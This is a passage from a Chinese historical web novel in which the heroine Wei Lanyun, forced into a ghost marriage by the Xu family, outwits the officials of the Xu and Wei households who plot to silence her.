“……下药、恶意放火、挑拨妯娌不合,况且已经亮出了自己的身份了,怎么还要去死呢?”
爱妻因一碗羊肉汤陡然病住了,羊油炼的蜡烛突然的便炸了,新娘子拜堂前就是关在乡中羊圈里,到现在身上还弥散开一股难闻的羊臊臭气。
很难说这些仅是一个巧合。
徐二老爷露出了对调皮捣蛋的孩子恨铁不成钢的表情。
“是啊,这是为什么呢?”
魏兰蕴轻声说道,她还在望着窗外。
奶母已经躲得远远的了,徒留云姐儿一个人在外边。
暖阁门外的树下有一窝蚂蚁,云姐儿蹲在树下看蚂蚁。
她天真可爱,正是无忧无虑的年纪。
徐二老爷顺着魏兰蕴的目光看过去,脸上不自觉露出发自内心的慈爱的笑意。
其实徐二老爷对于老宅里的这些巧合并无实证,他只是猜测。
可这个女孩子就这样禁不起诈。
坦荡地,就这样承认了。
徐二老爷在心里讥讽一笑。
女人就是这样,卑陋难陈,只懂阴私算计,不会俗世道理,陛下竟还要女人来考科举,真是滑天下之大稽!
他当然不会在面上笑出来,这样太刻薄了,一点也不是一个贤德的老爷会做的事情。
徐二老爷清了清喉咙,背略微躬了躬,腰背靠在圆桌上,让自己坐的更舒服了些。
他喜欢这样一切尽在自己掌握的感觉,他继续说着,语气轻柔又温润:“庆林总督年前给太后进献了一筐橘子,橘子有甜的,有酸的,也有坏掉的,太后喜甜,于是内廷的宫女们会将甜的橘子筛出来,贡着献给太后。”
“橘子同宗同族,外表皆是光鲜亮丽的,却还是有三六九等之分的。”
“甜的橘子是太后喜爱的,若是有人偷了窃了太后会震怒;酸的橘子太后不食,但冬日里的橘子是稀罕物,若是有人妄之,也是要求着赏赐的;然而坏掉的橘子就不一样了,丢在地上,踩出一地儿臭水出来,太后不在乎,旁的人也不在乎。”
徐二老爷说着,又轻瞥了魏兰蕴一眼。
这个女孩子跪坐在垫子上,静静地饮着杯中的茶。
连茶满送客这样的道理都不懂,象征着羞辱的茶竟还捧在手心里用,真是一个愚鲁又短见薄识的女孩子。
这样的女孩子能听懂他话里的话吗?
看她这木雕泥塑一般的样子。
猜也知是没听懂。
徐二老爷不耐烦地叹了一口气,正打算重新直白地将他的话说上一遍,魏兰蕴却抢先一步说话了。
她笑着说,语气是若春日里的轻柔。
“是呢,冬日里的橘子是稀罕物。”
桌面上徐家夫人嫌弃的,乡野妇人吃剩的茶点,于她来说,就像是久旱逢甘霖一般,是她三日未尽水米近乎死亡的身体的良药。
魏兰蕴咽下最后一口冷茶,抬眼与徐二老爷对视。
她一点也没有害怕,一点也没有因和蔼的长辈突然厌恶自己,而感到自卑自怯自毁,她自信极了,像一个沐浴着阳光出生的孩子。
“这样好的橘子,如果我是内廷的人,我也必然要挑上一两个来尝一尝,档上写了这是坏橘子,踩踏了丢了抛了,谁又能知道这橘子究竟是甜是酸,是到了我的肚子里还是到了我的脚下?”
她直视着徐二老爷的眼睛,一字一句说道。
“二老爷为官多年,自是饱知人间的道理,有时候重要的并不是橘子本身,而是对待橘子的方式。”
她是魏家放逐的女儿,魏家轻贱她,抛弃她。
但你又是谁?你凭什么来替魏邕轻侮她的孙女,来替魏伯兴诛杀他的女儿?
你算个什么东西!
徐二老爷厌恶地看着魏兰蕴,这抹厌恶停留了许久,徐二老爷险些没压下去。
他一点也不喜欢这个女孩子。
确实有一点小聪明,但不诚实,不坦荡,满脸都是阴险狡诈的诡异算计。
她不愿意成这场婚事,大大方方说不愿意便好了,他们徐家又不是未开化的野蛮人,她说了难道还能不放她回家吗?
又是下药又是放火,搅得他家一片人仰马翻。
真是讨人嫌,怪不得魏家人不待见她。
“橘子成熟之时,果农们拿着梯子,小心翼翼地在树上剪下成色最好的橘子,用布兜裹了,连夜送往京城去。”徐二老爷强压着怒火顿了顿,继续说道,“吃橘子的并非果农,我们也不是强抓你来的我家。”
“魏娘子,你恨错了人了。”
徐二老爷站起身来,他冷漠地看着魏兰蕴。
他高大的身影挡在窗户前,阴影掉落在魏兰蕴的身上。
这个女孩子身上又没有了光。
###
今天是个大晴天,银湾的水在暅光下粼粼。
魏家正院里却阴森森的,恰如魏三老爷的脸一样。
就在他提出要接魏兰蕴回家的时候,魏三夫人便猛地扑在他的脚下,她放声大哭,什么威严脸面都不顾了,只一味地拖着他,不让他走。
这个女人平日最看重的便是她的威严脸面。
犯下了过错,懂得知错就改便好,送错了人出去,将人接回来也有亡羊补牢的机会,只是为什么她一点想要挽回的心都没有,甚至抛掉了自己最看重的仪态脸面,恳求着跪着哭着甚至不让他走。
魏三老爷不解。
他盯着魏三夫人,一动不动。
“这场婚事,是你提出来的吧。”
终于,他恍然大悟。
“你那侄子去年科举作弊下了大狱。”
“大哥说人之立身,所贵者惟在德行(注1),你那侄子,上无懿茂之行,下无有用之才,品德兼劣,不可以励俗(注2),他断断不会为你那侄子以权谋私,将他平平安安从丹州府的诏狱里面救出来,我以为我以为你闹了两回之后不闹了,是想明白了、懂事了,原来你竟打着的是这个主意。”
“原来是你把我的侄女卖了。”
魏三老爷气涌如山。
而在另一边,徐二老爷又微笑着,气定神闲。
“我家夫人的二兄去岁于丹州学政就任,贵府三夫人的娘家侄子去岁院试作弊被捕,照梁律要徒三月、鞭二十、革除一切功名,永世不允再科考,我徐家高门显贵,愿意送女求荣的人不知凡几,如果不是你家三夫人上赶着把你送过来,你以为,我们能看得上你?”
“身上流着猪臊味儿的血,你父亲厌恶你,我们也是。”
“究竟是我家夫人强要了你过来作配,还是你家夫人强塞了你来成婚。”
“事与事之间,总归是不一样的。”
如果是徐家以权威压人,抢了人非要来做这丧良心的事,那徐家必会在朝堂上面对各派攻讦,但若是魏家为了献媚,主动送上嫡长女殉葬。
那么这件事,可就不是他们徐家的责任了。
“求权、灭亲。”徐二老爷的声音忽的变得严肃且抑扬顿挫,他怒目而视,声音似乎压抑着极大的怒火,“这件事情若是传了出去,对于你父亲的官声与前途,可是大大的打击啊!”
没有什么比一个慈祥和蔼的人突然发怒更能震慑人了。
徐二老爷企图看见魏兰蕴那从容的脸上撕开一条缝隙,露出她这个年纪的女孩子本该就有的自责自卑自惧来。<
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p>可是没有。
魏兰蕴依旧泰然。
“是吗?”
她说。
“那这对于徐二老爷您的官声和前途,就一点打击都没有吗?”
徐二老爷发怒的假面险些裂开了一条缝隙。
魏兰蕴看向他的目光是太过从容和自信了,那样直击内心深处的自若,几乎要唤出掩藏在徐二老爷内心深处潜藏的不安。
“得景嫁殇,邻人告违禁,此非合祔之仪,爰抵嫁殇之禁,徒念幼年无偶,岂宜长夜有行,夫此既违国禁,是乱人伦(注3),一个爱民如子的父母官,有朝一日违国禁、乱人伦,这对于徐二老爷您的官声和前途,就一点打击都没有吗?”
徐二老爷松了一口气。
旋即又为他险些乱了阵脚而发笑。
那件事这般的隐秘,这个女孩子怎么可能会知道。
“有或没有,现在已经不重要了。”徐二老爷再度微笑。
奶母给云姐儿端上了一杯热茶,小姑娘不喜欢喝水,趁着奶母不注意将水倾倒在蚁窝里面,蚁群在滚水里挣扎着,有一只蚂蚁随着水流冲到了平地上,它拼尽全力挥动着触脚,在薄薄的水面上翻过了身来,然后灵巧地爬到干旱处。
它很努力,为自己捡回了一条命。
然后小姑娘一只脚踩下去。
把它踩进了土里。
她看蝼蚁的眼神,恰如徐二老爷看魏兰蕴的眼神。
“无论如何,你今天都必死无疑了。”
“你不必担心魏三爷来救你,他现在,才是最盼着你死的人。”
这件事太大了,大到有人把它参到朝堂上去,徐家与魏家都不能从里面干干净净地摘出自己,无非是谁受的影响大或小之间的区别。
没有人会愿意自己的前途染上污点。
魏家不愿意,徐家也不愿意。
要把这件事情掩埋,让它不至于危害到两家的前途;要把这个人掩埋,以致使她无法诉说自己的冤苦。
没有什么,比让这个遭受众人厌弃的女儿死在这场喜事,更合适的办法了。
这样,徐家不会说出这件事,魏家也不会说出这件事,受害者更加不会说出这件事。
皆大欢喜。
魏三老爷也是这么想的。
他扭头朝着书房走去,镇纸一展,起笔就书。
“我这就向大哥写信,告诉他,大姐儿在丹州宅子里病故,就地……”魏三老爷想了想,又换了一张纸,“告诉他,大姐儿的尸身在运送回老家的途中,遭遇山匪抢劫,摔下山崖,寻无踪迹。”
这般,才算是万无一失。
他们魏家从来没有送过女儿求权,他们的嫡长女儿是在丹州病逝了,如果有人参议,那么你就去刨开清水潭老徐家的祖坟,尽管去证明那具腐烂的尸体是我魏家的女儿去吧!
只是可惜他那个侄女了。
毕竟是血亲呐……
魏三老爷有一瞬的心疼。
可旋即他一想,自己亲大哥都不在意这个亲女儿,他一个做小叔的,少上赶着狗拿耗子了,这件事就算是摊开来给大哥说,大哥只怕也要照杀无误的。
魏三老爷舒了一口气。
他桌面上正摊着一本魏家家训,这是代代魏家家主填补写就的,书页被风吹开,冬日枯黄的叶子从窗外飘进来,正巧落在其中一句上。
既翕以协兄弟,好合以乐妻孥,择德以结婚姻,隆师以教子孙,勿欺以交朋友,克勤以绝耽乐之蠹己,克俭以辨饥渴之害心(注4)。
魏三老爷轻瞥家训一眼。
他冷哼一声,随意把叶子掸了,将书扔在一边。
管家却从外边急急赶来。
在冬日里,他跑得衣襟都被汗湿了,他焦灼极了,一路推开了门。
阳光从门廊处陡地一下泼洒进来,魏三老爷眯了眯眼睛,他正想发怒起来,却见管家在暖阳之下高举一卷书报,大声喊道。
“老爷,出大事了,县报发了,上面写着——”
5. 囍(五)
“右都御史魏邕长孙魏兰蕴,应祖父教诲,呈大诰之命,将于二月十六,应考县试。”
小厮跪在地上,颤抖地念出上面的字。
徐二老爷的面色难堪极了。
这难堪不在于这份书报,而在于小厮进来禀报之前,他刚刚对魏兰蕴放了一句狠话,而就在放完狠话之后,魏兰蕴的生死就不由他来掌握,她也许今天死不成了。
这让徐二老爷觉得他就像一个窘迫的男人,只会放娘西皮的狠话。
自他嘉和二年就任万兴县令那时起,他就一直是令出惟行。
他许久没有这样窝囊的感觉了。
徐二老爷抢过书报,将那份报纸底下的两行字看了一遍又一遍,久久不曾言语。
应命应命。
应陛下的命,应祖父的命。
真是忠孝两全的好女儿。
谁有资格阻止她,谁又有资格安排她的命运,以致她二月十六无法参考县试?
“该死的小娘皮,没想到还有这一手,我现在就去找魏陈氏讨个说法去……”徐二夫人扶着仆妇起身,骂骂咧咧。
徐二老爷气极了,一脚便踢过去。
徐二夫人狠狠摔在地上,发出咚的一声。
徐大夫人偷偷地笑了,却被二老爷一记眼刀剜过去。
“你看看你做的好事!”徐二老爷将书报摔在二夫人脸上,“都怪你要办什么娘西皮的冥婚!那样去死的儿子有什么好埋的?一卷凉席扔乱葬岗喂狗得了!都是你——”
徐二老爷气的一口气梗在心头上不来,他的脸涨红了,连忙锤着胸膛顺气儿。
徐二夫人心疼极了,她想上来为徐二老爷顺一顺气,却在靠近徐二老爷的时候,再度被他狠狠地踢了一脚,正踢在她的心口,徐二夫人只觉得眼前一黑,胸膛里边钻心的疼。
“老爷,现在最重要的是——”有人上来劝了一句,说话时嘴角努向魏兰蕴的方向,“她,应该如何处理?”
是啊。
她应该怎么处理?
老爷们沉思片刻。
就在太阳没过天空最高点的时候,徐魏两家的两个老爷一齐抬头,他们说道:“拿我的名帖去找银湾县尊,务必要把今日刊发的所有邸报,都收回来。”
两家的帖子敲开了府衙的大门,衙内的皂吏如流水一般涌出了门。
刊印邸报的书坊被重新封上了门板,匠人俱被木棍羁押着蹲在地上;
书生坐在茶坊读报,横行的皂吏一把拽过了他的书报;
算账的掌柜将邸报随手塞哪儿了,三俩皂吏冲过来强逼他找出报纸,他配着叆叇,翻箱倒柜找了半天,才巍巍颤颤将报纸交出。
整个银湾一片人仰马翻,不出半日时间,一箱报纸便被送到了县尊府内。
“自刊印到发售共有五百一十二份报纸,其中五百一十一份俱已在此。”
那领头的皂吏汇报。
“那还有一份呢?”县尊不解。
皂吏却欲言又止,面露难色。
###
这里是银湾最负盛名的酒楼。
建筑精巧别致,酒食奇特独有令人口齿生香,要价更是不菲,足以称得上是米珠薪桂。
曾有诗人在酒楼醉饮罢且呼:“溜溜清声归小瓮,一盏饮罢一万贯。”
这更是让这酒楼增添几分声名。
酒楼背后的东家极为硬气,放出豪言一天仅待一百客,哪怕是县尊公子并银湾几大豪商家驾临,酒楼也从未改变过规矩。
但是今天,这座酒楼罕见地被人包场了。
二三四楼三十七间包房一齐被打通,三楼的公子攀着栏杆,一招倒挂金钩将球击至二楼球门处;二楼的儿郎正玩捶丸,丸球儿打猛了飞到楼下去,正巧惊了楼下射箭的郎君们,一簇羽箭咻得一下向四楼飞去,随后便被几个配甲的卫士们打了下去。
这些配甲的卫士庄严肃穆地守卫在四楼。
四楼正中坐着一位锦袍小郎君,脸圆润可爱,年纪左不过十一二岁,他正玩着投壶,苦奈屡投不中,三两个穿着上好缎子的公子替他捧着投壶,追着他的羽箭而去。
箭偶的中了几个,小郎君却觉得好没意思,抛下了竹筒朝着四楼东南角跑去。
东南角设了一张睡榻,是紫檀木打的好玩意儿。
榻上镂空雕了和合如意松枝翠柳等花纹,铺了天青色的苏锦面的软垫,睡榻似乎用了有些年头了,木头在阳光下散发着晶莹圆润的光泽,这般大的睡榻,至少要五个粗壮的工匠,才能合力把它运上四楼。
睡榻上躺了一个大郎君。
郎君宽肩窄腰,穿着大红色的曳撒袍,腰肩手腕上皆配了皮甲,头发用一顶铜冠束成马尾状,隐隐可见尾发里藏着的长生辫。
他一脚搭着窗台,一脚踩在榻上,双手放在颈后,眼上盖着书报,正在闲适地晒太阳。
小郎君捧着一盘新鲜的吃食一溜烟跑过去。
“十一叔,紫苏鱼脯酿豆腐。”
大郎君没有说话,嘴巴张了开来,小郎君立刻狗腿子般给他喂食,吃了大半盘下去,大郎君只觉得有些渴,他开口说道:“拿点水来。”
小郎君欢喜急了,又是一溜烟跑过去给大郎君递水,时兴的十六种饮子一一排开,大郎君坐了起来,脸上的报纸掉落在地上。
他顺手拿了一杯最顺眼的一饮而尽,然后又歇在榻上,拿了张锦被盖眼。
“小王孙果真最听十一郎的话。”
有个公子含笑经过,将报纸捡起,忽的惊讶地哦了一声,随后说道。
“魏邕的孙女竟要考科举了。”
“这有什么奇怪的,大诰一颁下来,那群文人就像见了鱼的猫一样,今儿自家的这个才女要上场,明天那个才女上场,这东西南北的才女多得数不清,却没有一个考上的!”
楼下有个武夫家的公子不屑的道。
“说不定这个,也是个‘才女’!”有人跟着嬉笑,“魏邕那儿子,最喜欢往清名上靠,但凡有个好听点的名声,他家都要占了去,说不定这不仅是个‘才女’,还是个‘美女’!”
公子们笑成一片,有人忽的把话题引到了大郎君身上去。
“琚郎,你买这报,该不会是对这才女并美女起了心思吧!”
“我们琚郎说不定还真有这个心思,想当年琚郎可是爬过魏邕家的墙,只为了看那传说中的魏大娘!后来还给魏邕提着衣领子打了……”
这公子还没说完,十五杯饮子从四楼翻了下去,淋得他头脸俱是,他仰头向上望去,只见裴琚撑着栏杆,含着眸子看着他,眼神冷漠极了。
公子吓得一哆嗦,他腿脚一软跪在地上,砰砰磕着头。
裴琚没有再看他,扭头回去倒在睡榻上面,盖着锦被睡了。
酒楼外魏家的小厮急的摇摆。
“好哥哥,你就告诉了我罢!那里面究竟是什么人?”小厮拉着小二的手,急急问道。
小二推开他的手,连忙摆手道:“这里面的人可不是你惹得起的,你莫要犯了傻事!”
“我家老爷说了,里边的东西是一定要拿回去的,若是拿不回去,那我……”小厮掏出几锭银子往小二怀里塞去,“你也知道我家大老爷,是陛下跟前办事儿的相公……”
“这我当然知道……”小二把银子塞进怀里,安抚地拍了拍小厮的手,“今儿里面那位,就是连你家大老爷,也是惹不起的,你把他们的身份一说,保管你家老爷不会怪你!”
小二压低了声音,在小厮耳边说道。
“今儿在里面那位得陛下亲赐与皇子同序同姓,是宁都王独子、西林军少主、华阳大长公主的儿子……”
“……京都里赫赫有名的小霸王,裴十一郎。”
###
魏三老爷打翻了茶杯。
“是……他?”
“奴在那酒楼外绕了四五圈,那楼围的跟铁桶一般,守得严密极了,奴重贿那楼中雇工才得了几分消息,书报应当就在那宁都世子手里……”
小厮缩着脑袋,头近乎要埋进了地底,他将小二对他所说的话一字不落复述出来。
“好,我知道了。”魏三老爷不耐烦地打断他。
“既然是他,这可怎么办啊?”魏三夫人忧心忡忡。
她虽久居乡下,倒是也听说过这个上揪皇帝胡子,下揍皇帝儿子的小霸王,若是最后一份报纸在他手中的话,这近乎是绝无拿回来的可能了。
魏三老爷碾着胡须,他眼神专注地盯着案几上的格言,久久不曾言语。
“这只是一份报纸而已,况且还是在那大字不识一个的小霸王手里,这应该……也没什么大碍吧……”
魏三夫人试探地道。
她仍记得裴十一郎于魏宅发生的丑事。
不学无术的小世子将墙上的题下的春池嫣韵,拆拆分分念成了去他娘的,惹得众人哄笑,魏三夫人虽然当时并不在场,但这件事仍是口耳相传到了她的耳中。
虽然魏家人相传并不是因为小世子的无知,而是因为小世子的驾临。
但这并不妨碍世子无知的真实性。
那样字都认不全的人,买了书报也应是包油饼用,怎么可能会仔细看那报纸,还正巧看见魏兰蕴要考科举那么一行小字?
“宁都王与大哥从无交集,就算是碰巧看见这行字了,也是一过眼便忘了的事儿……”魏三夫人观察着魏三老爷的神色,再度犹豫地说道,“实在不行我们派人守在酒楼外边,若是见着书报随着垃圾一齐扔出去,咱们便收来毁了?”
“亦或是我们魏家再登个报纸!就说上一行字是外人刻意造谣,咱们去辟谣!”
魏三夫人咬咬牙,一跺脚便这样决定了。
她舒了一口气,仿佛找到了这件事最合适的解决办法,提着裙子往外疾步走。
办事要快,要快。
不能让魏兰蕴回来。
魏三夫人默念着。
魏三老爷却猛地站了起来,撞翻了案几。
“老爷?”魏三夫人不解地看着他。
“你跟徐老二的媳妇可有留下过什么书信?”魏三老爷质问三夫人。
魏三夫人忙摇头:“没有,都是让人递了话去,我们从未写过信。”
“那便好。”魏三老爷清了清嗓子,向外走去,“我现在就去徐家一趟……”
“……若是大姐儿死了,那我便要为我家被徐家掳走殉葬的女儿,讨一个公道了。”
千里之堤毁于蚁穴。
嘉佑二年三月魏老太爷因诗被贬,嘉佑三年十月,戎人南下攻破太康、上阳、泽州三城,兵马直逼京师,三城百姓纷纷西逃,魏家也是如此。
那一年,十三岁的魏叔礼还不是个老爷,他只是一个为了一点草根子跟别人龇牙咧嘴的孩子,也是因为一点草根子被别人打碎了门牙的孩子。
逃难时是一个冬天,魏三老爷倒在湿润的泥地里,缩成小小的一团,他身上是刺骨的冷,胃里却饿得像一团火在烧。
老太爷被贬之前品阶并不低,朝堂上多少人希望他自高台上掉下来。
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贬斥俄而失地,逃难的那两年,他们一家近乎任人欺凌。
尔后是大哥带着一家人躲去了偏僻的银湾,一家人在这座无人知晓的小城安顿下来,然后聘了大嫂那样勤奋的妇人,家里这才有些许改善,待到当今陛下拨乱反正,为父亲平反,大哥又科举及第,全家人的生活这又才恢复原样儿。
魏三老爷再也不想回到那样的生活了。
就算是死,他也不想回到那为了一点草根树皮跟别人拼命的生活了。
所以,不能冒险。
一点风险也不可以有。
###
徐二老爷只觉得头疼欲裂。
徐二夫人哭哭啼啼地非要魏家的女儿死,徐大夫人在一旁阴阳怪气地劝和着,小厮一刻钟前告诉他最后一份报纸在华阳公主家的小霸王手里,而门房上前禀报——
魏家三老爷,魏叔礼来了。
这意思不言而喻。
“都给我闭嘴!”
徐二老爷怒吼着,把萦绕在耳边的哭哭啼啼及阴阳怪气一并喝止住,他恨铁不成钢地看着眼前两个愚不可及的女人,哀叹了一口气。
现在,也只能这样了——
徐家开了门,把魏三老爷迎进正堂里来。
徐二老爷乐呵呵地笑着,迎上去握住魏三老爷的手。
“老弟呀,你可算是来了!你家大姐儿在我家玩了几天,非不肯回家去,说与我家云姐玩得极好,要给我当女儿了昵!”
徐二老爷说着,便露出了清水潭的乡音调子。
“对不住!对不住老兄!是我家没教好女儿!”魏三老爷的脸上立刻扬起笑容,他回握徐二老爷的手,痛心疾首地道,“你也知道我家这女儿,我大哥的长女,又是家里老太爷亲自养大的,真是含在嘴里怕化了,家里谁都不敢对她说一句重话!结果在老兄这丢了丑了,真是对不住!”
人精一般的老爷们,在两相对望之后,便一清二楚对方的思量。
两个人几乎是在顷刻间达成了共识。
“这哪里的话!伯兴的女儿,不就是我的女儿,一家人的事,还谈什么两家话!我可稀罕你家大姐儿得紧,你若是再不来接她,我便将人抱走当女儿了!”
徐二老爷故意板着个脸,将魏三老爷往暖阁里边领着。
先前徐二老爷放完狠话,便让人把魏兰蕴从暖阁里面绑了出来,还是原样儿绑法,将她的颈首栓在棺材板子上,奴仆们七手八脚地替她解着绳子,报信儿的小厮一溜烟跑来,奴仆们瞬间慌了神,他们将棺材板子卸了下来,乱糟糟地挤成一团。
手脚轻快的率先一步走,翻过暖阁的后窗,后头的紧随而上,嘿哈一声将魏兰蕴就着棺材板子架在暖阁的后窗上,两边一齐使力气,人还没落在地上,门却开了。
徐二老爷和魏三老爷错愕地看着他们。
奶母此时也匆匆把云姐儿带了来。
云姐儿七手八脚地挣扎着,踢翻了小几,茶水撒了一地。
“女孩子嘛,玩闹起来,也没个边际……”徐二老爷讪讪地笑着。
可魏三老爷脸色低沉,并无言语。
徐二老爷心下有些慌乱。
到底是耳听不如亲见,远在他乡的魏三老爷只是知晓自己的侄女被送去配了冥婚,到底和亲自见到侄女被配了冥婚的场面,是不一样的。
家里宝贝着,或许也并非宝贝着养大的女孩子,被当成最低等的人畜,拴着捆着,身上血和泥土混杂交错,已看不出衣物本来的颜色。
徐二老爷都不敢想,自己心爱的云姐儿被这样如猪如狗般对待,他会怎么样。
他只怕要发疯。
哪怕他是一个文官,他也会扛起大刀来,杀光这个暖阁里所有的人,一个不留。
“还不快给姐儿解开!主子们不懂事,你们做下人的不会劝着吗?”徐二老爷厉喝道。
下人们手忙脚乱,东扯一线头,西拽一绳结,越折腾绳子越捆得紧些,徐二老爷急的连都红了,他怒吼道:“拿剪子来!不知道拿剪子来吗?”
不知是哪个机灵的奴才找出了剪子,三下两除二剪开了魏兰蕴身上的麻绳。
魏兰蕴悬在窗户上,绳索陡一剪断,她顺着棺板滚落在地上。
没了绳索的遮挡,她脖颈间那道青紫的勒痕尤为骇人。
徐二老爷倒吸了一口凉气。
初见这道伤痕时,他是俯瞰魏兰蕴的,在高贵的老爷面前,一个必死的孤女只是蝼蚁,他根本不在意蝼蚁的触脚断了几根。
而再见这道伤痕时,魏兰蕴与他站在了同一块土地上,这是同僚的女儿,未来阁臣家的娘子,这样的伤痕出现在她的身上,简直令徐二老爷触目惊心。
“这是怎么回事?”魏三老爷板起了脸来。
徐二老爷的冷汗沾湿了鬓角。
看魏老三的反应,是要翻脸了。
魏兰蕴既然没有死,那这件事说大也可以大,说小也可以小。
但闹起来对两家的影响的都不会少。
若是对面什么功名利禄都不要了,非要拼个鱼死网破,给家里的女儿闹个不平,至少徐家现在,是不愿意承担这份风险的。
此时此刻,若是不付出点什么,怕是难过这一关了。
徐二老爷叹了一口气,正想请魏三老爷找个僻静的地方详谈,却听魏三老爷怒气冲冲地说——
“大姐儿,你身为姐姐,妹妹不知道轻重,你还不知道吗?竟与妹妹玩这般危险的游戏!真是……”
“太不像话了!”
6. 囍(六)
不像什……么?
徐二老爷僵直着脖颈,尚未领会到魏三老爷话语的含义。
他们这些官场上的老爷,话里话外的意思太多了。
有人说东,但意思却是西;有人指着鹿,但意思却是马;魏三老爷究竟是对徐家的做法愤怒而阴阳怪气说话,还是依旧是遵从着两人方才的约定顺势而说。
徐二老爷听不出来。
他眼睛左右转了一转,直到确认魏三老爷面庞上的愤怒,是来自于对晚辈不懂事佯装的愤怒,而不是对于目之所及残忍做法的愤怒,徐二老爷这才松了一口气。
“怎么能骂孩子呢?”
徐二老爷立刻板起了脸,护在魏兰蕴身前,对魏三老爷怒目而视。
“嬉笑玩乐罢了,哪就轻了重了,叔礼老弟若是严苛至此,那孩子就别接回去了!把孩子留在我家吧!做我徐重的女儿!”
“也就是你徐二叔待你亲厚,若是换了旁人家,还指不定怎么编排我家没教养!”魏三老爷指责魏兰蕴,“还不快谢谢你徐二叔,一天天的,尽让长辈操心!”
暖阁里只有两位老爷的一唱一和。
奴仆们安静极了,他们俱惊诧地望着两个改头换面的老爷。
不知该作何表情。
暖阁的多宝架上放着一个瓷娃娃。
娃娃的脸面忽的掉在了地上。
摔得稀碎。
徒留挂着两枚锁扣的瓷胚子,胚子又粗又黑,还散发着一股泥巴的臭气。
暖阁安静了一瞬。
徐二老爷趁机抓着魏兰蕴的手臂,将她扶了起来,推在了魏三老爷面前。
“叔礼老弟,你的乖乖侄女儿我现在就完璧归赵了!”
徐二老爷笑得祥和,意有所指。
“若是日后小孩子不懂事再跑出去玩,可不要再来找我要人了。”
魏三老爷点了点头。
“那是自然!我回去之后定要她婶母好好管教她,下次再这么不懂事,必定家法伺候!”
事情已经结束了。
在两个老爷的谈笑间轻描淡写地结束了。
没有对施害者的惩处,没有对受害者的安抚。
这场残酷的婚礼,这桩惨绝人寰的罪行,就在这两个老爷的利益权衡之间结束了。
没有人在意受害者怎么想,没有人在意魏兰蕴怎么想。
魏三老爷朝外走去,徐二老爷一路相送。
魏家来的奴仆接管了魏兰蕴,他们搀着这个虚弱的女孩子,跟在魏三老爷的后面。
魏三老爷带了两辆马车来。
他走在前头,率先上了一辆,仆从欲引着魏兰蕴上另外一辆,可魏兰蕴没有动。
她站在原地,抬眼望着湛蓝的天空。
这是她自抵达这里伊始,第一次如此自由地看见朝阳与天光。
“怎么了,大姐儿还是喜欢二叔家?想留在二叔家里玩?不想回家?”
徐二老爷乐呵呵地笑着打趣道。
魏兰蕴摇了摇头。
她说:“我一直在想,在徐家,我非死不可的理由。”
未登报之前,对于魏家来说,人已经送出去了,错误已经犯下,最好的做法便是放纵这件事,拉徐家下水,两家都不干净,那谁也不会揭发谁。
然而徐家不一样,在大火没有烧起来的时候,徐家知道这件事的人,只有徐二夫人一个,所有推动这件事发生的行为,也都是徐二夫人做下的。
徐二老爷能做到三品盐运使如此高位,不是蠢人。
将魏伯兴的女儿殉葬,除了告慰死人,满足妻子的念想之外,他得不到半分好处,甚至还有可能若干年后被政敌翻出这件事情,狠狠杀他一刀。
但是带着魏伯兴的女儿去告御状,将这件事推到徐家无知妇孺身上,把自己摘干净,哭诉言明他不忍如此残忍的行为,想救一条性命。
这便会给魏伯兴狠狠来上一刀,还给自己博得了个善良仁爱的名声。
官场如战场,别人下去了,他才可以上来。
更别说魏伯兴现在正在入阁的关键时期。
多少人盯着他那个位置?
退一步说,哪怕徐家和魏家无冤无仇,将魏兰蕴带到魏伯兴面前,言明利弊,将一切错误归结于魏家三房和徐二夫人,便可以卖魏伯兴一个面子,让他欠下一个人情。
未来阁臣的人情,这对徐二老爷来说是可遇不可求的。
但为什么,徐二老爷会选择如此极端的路,一定要魏兰蕴死呢?
难道是为了被她下药致使生病的妻子报仇?
亦或者是为了那间被烧掉的破弄堂?
魏兰蕴觉得不是。
直觉告诉她,事情另有真相。
真相就掩藏在魏兰蕴试探徐二老爷之时,他那一瞬间表现的慌乱,而当她打岔掩过这件事之后,徐二老爷又瞬间变得从容起来。
所以,事情的真相是什么呢?
“徐二老爷,你的儿子,听说是回乡祭祖之时遭遇马匪截杀而死的呐。”
魏兰蕴轻声说。
在西弄堂的冲天大火里,梁柱掉了下来,砸碎了徐少爷的棺材板,那尸身就那样咕噜噜滚了出来,衣衫被火焰燎烧。
那样盛大的火焰,将尸体照的一清二楚。
那上面没有伤口,一点都没有。
这不是一具死于马匪截杀的尸体。
徐二老爷的笑容僵在了脸上,冷汗瞬间湿透了背衫。
他僵直着脖子,不可置信地看着魏兰蕴。
这个女孩子轻描淡写的一句话,恰好戳中了这个最令他惶惶不安的秘密。
的确。
这场冲天的砸坏了棺材的大火。
正是魏兰蕴非死不可的理由。
“你的儿子被鸩酒赐死,上赏其能回乡安葬,已经是天恩了,你们竟还违拗上意,为罪者置棺,置冥婚事,置礼乐赞者均违制。”
魏兰蕴又接着说道。
她的话轻的像一阵风,飘飘吹入徐二老爷耳中。
魏兰蕴其实并不知道事情的真相。
她只是猜测。
从一个不能被世俗知晓的死因入手,分丝析缕,拼凑出一个合理的故事。
魏兰蕴不知道自己是否正确。
但是从徐二老爷的反应来看,她猜的十不离九。
徐二老爷早已毛骨悚然。
他两腿颤颤,惊惧地向后退了几步,不慎踩在碎石块上,倒仰着跌落在地。
徐家的奴仆们飞一般扑过来,想扶起老爷,却被徐二老爷一把推开。
“都散开!”
徐二老爷低吼道。
这件事再不能让多一个人知晓了。
这可关系着徐家三族的生死啊!
早知道会如此结果,当初那个疯婆子想办这个什么劳什子的死人婚礼的时候,就应该杀了她,一刀捅死,方能绝此后患!
徐二老爷悔啊,眼尽红了。
“我不曾学过梁律,但我相信当年高中探花的二老爷,一定对梁律了如指掌,请问徐二老爷,贵府二夫人犯下的错,按律法,应是什么罪?”
魏兰蕴走近两步,她俯瞰着跌落在地的徐二老爷。
就如同一个时辰前,徐二老爷俯瞰俯伏在地的她一样。
“你……你……”
徐二老爷颤抖着手,指着魏兰蕴。
他的嘴巴张了张,话却僵在嘴边,说不出来。
而魏兰蕴继续说道。
“事情会随着时间的推移而模糊细节,就像是二老爷说的一样,今天我来这里,究竟是魏家送我来,还是徐家强掳我了来,事与事之间终究是不一样的,在二老爷看来,我毕竟是魏家人,若是以后我帮着魏家反咬你们一口,你们可拿不出证据来。”
她顿了顿,接着又说。
“所以我今日一走,你们徐家必定想方设法杀了我,就比如那个你家从西北处角门溜出去的小厮,他手里拿着一封信,前往的方向似乎是丹州府,如果我没有猜错的话,应该是传信给你就任学政的妻舅,让他看准时机,于科举一事上构陷除去我,我说的对吗?”
魏兰蕴俯身,周身凛冽的气势让徐二老爷喘不过气来。
她并不喜欢头上高悬着利剑的感觉。
所以她将头上这柄利剑放在了徐二老爷的头上。
